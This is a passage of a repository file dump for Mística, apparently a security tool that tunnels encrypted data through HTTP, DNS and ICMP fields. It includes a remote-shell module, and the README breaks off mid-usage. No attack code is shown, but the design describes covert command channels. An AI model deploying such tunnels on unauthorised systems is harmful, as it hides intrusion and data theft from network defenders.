[
  {
    "path": ".gitignore",
    "content": "*.pyc\n__pycache__\n*.log\nwiki\n.vscode\nbuild\ndist\n*.bin\n*.zip\ndocs\ntests\nmc.spec\nms.spec\nmc\nms\n*.pem"
  },
  {
    "path": "Dockerfile",
    "content": "# [*] First build image with:\n#\n# sudo docker build --tag mistica:latest .\n#\n# [*] Second, create the network with:\n#\n# sudo docker network create misticanw\n#\n# [*] Third run the server with:\n#\n# sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash\n#\n# [*] Fourth run the client with:\n#\n# sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash\n\nFROM python:3.7\n\nLABEL maintainer=\"rcaro@incide.es\"\n\nRUN python3.7 -m pip install pip && python3.7 -m pip install dnslib\n\nWORKDIR /opt/Mistica\n\nENTRYPOINT /bin/bash\n\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    mistica\n    Copyright (C) 2020  INCIDE\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    mistica  Copyright (C) 2020  INCIDE\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# Mística\n\n| ![Mística Logo](mistica.png) |\n|:----------: |\n| Mística Logo by [JoelGMSec](https://twitter.com/joelgmsec) |\n\nMística is a tool that allows to embed data into application layer protocol fields, with the goal of establishing a bi-directional channel for arbitrary communications.\nCurrently, encapsulation into HTTP, HTTPS, DNS and ICMP protocols has been implemented, but more protocols are expected to be introduced in the near future.\n\nMística has a modular design, built around a custom transport protocol, called SOTP: Simple Overlay Transport Protocol. Data is encrypted, chunked and put into SOTP packets. SOTP packets are encoded and embedded into the desired field of the application protocol, and sent to the other end.\n\nThe goal of the SOTP layer is to offer a generic binary transport protocol, with minimal overhead. SOTP packets can be easily hidden or embeddeded into legitimate application protocols. Also SOTP makes sure that packets are received by the other end, encrypts the data using RC4 (this may change in the future), and makes sure that information can flow in both ways transparently, by using a polling mechanism.\n\nModules interact with the SOTP layer for different purposes:\n\n- Wrap modules or Wrappers: These modules encode / decode SOTP packets from / into application layer protocols\n- Overlay modules: These Modules ccommunicate over the SOTP channel. Examples are: io redirection (like netcat), shell (command execution), port forwarding…\n\nWrapper and overlay modules work together in order to build custom applications, e.g input redirection over DNS or remote port forwarding over HTTP.\n\nMística’s modular design allows for easy development of new modules.\nAlso, the user can easily fork current modules in order to use some custom field or encoding or modify the behavior of an overlay module.\n\nThere are two main pieces of sofware:\n\n- Mística server (`ms.py`): Uses modules that act as the server of the desired application layer protocol (HTTP, HTTPS, DNS, ICMP...). It is also designed in a way that will allow for multiple servers, wrappers and overlays to be run at the same time, with just one instance of `ms.py`, although this feature is not fully implemented yet.\n- Mística client (`mc.py`): Uses modules that act as the client of the desired applicarion layer protocol (HTTP, HTTPS, DNS, ICMP...). It can only use one overlay and one wrapper at the same time.\n\n## Demos\n\nYou can see some Mística demos in the following [playlist](https://www.youtube.com/playlist?list=PLyUtb47GNF9wqIwI1DGpX_Fr1IXpXHRqB)\n\n## Dependencies\n\nThe project has very few dependencies. Currently:\n\n- Mística Client needs at least Python 3.7\n- Mística Server needs at least Python 3.7 and `dnslib`.\n\n```\npython3.7 -m pip install pip --user\npip3.7 install dnslib --user\n```\n\nIf you don't want to install python on your system, you can use one of the following portable versions:\n\n- https://www.anaconda.com/distribution/#download-section (for Windows, Linux and macOS)\n- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (only for Windows)\n\n## Current modules\n\nOverlay modules:\n\n- `io`: Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout\n- `shell`: Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.\n- `tcpconnect`: Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.\n- `tcplisten`: Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.\n\nWrap modules:\n\n- `dns`: Encodes/Decodes data in DNS queries/responses using different methods\n- `http`: Encodes/Decodes data in HTTP or HTTPS requests/responses using different methods\n- `icmp`: Encodes/Decodes data in ICMP echo requests/responses on data section\n\n## Usage\n\n`ms.py`: Mística Server\n\nHere's how the help message looks like:\n\n```txt\nusage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]\n             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]\n\nMistica server. Anything is a tunnel if you're brave enough. Run without\nparameters to launch multi-handler mode.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -k KEY, --key KEY     RC4 key used to encrypt the comunications\n  -l LIST, --list LIST  Lists modules or parameters. Options are: all,\n                        overlays, wrappers, <overlay name>, <wrapper name>\n  -m MODULES, --modules MODULES\n                        Module pair in single-handler mode. format:\n                        'overlay:wrapper'\n  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS\n                        args for the selected overlay module (Single-handler\n                        mode)\n  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS\n                        args for the selected wrapper module (Single-handler\n                        mode)\n  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS\n                        args for the selected wrap server (Single-handler\n                        mode)\n  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv\n                        Medium, -vvv High)\n\n```\n\nThere are two main modes in Mística Server:\n\n- **Single Handler Mode**: When `ms.py` is launched with parameters, it allows a single overlay modoule interacting with a single wrapper module.\n- **Multi-handler Mode:** (Not published yet) When `ms.py` is run without parameters, the user enters an interactive console, where multiple overlay and wrapper modules may be launched. These modules will be able to interact with each other, with few restrictions.\n\n`mc.py`: Mística client\n\nHere's how the help message looks like:\n\n```txt\nusage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]\n             [-o OVERLAY_ARGS]\n\nMistica client.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -k KEY, --key KEY     RC4 key used to encrypt the comunications\n  -l LIST, --list LIST  Lists modules or parameters. Options are: all,\n                        overlays, wrappers, <overlay name>, <wrapper name>\n  -m MODULES, --modules MODULES\n                        Module pair. Format: 'overlay:wrapper'\n  -w WRAPPER_ARGS, 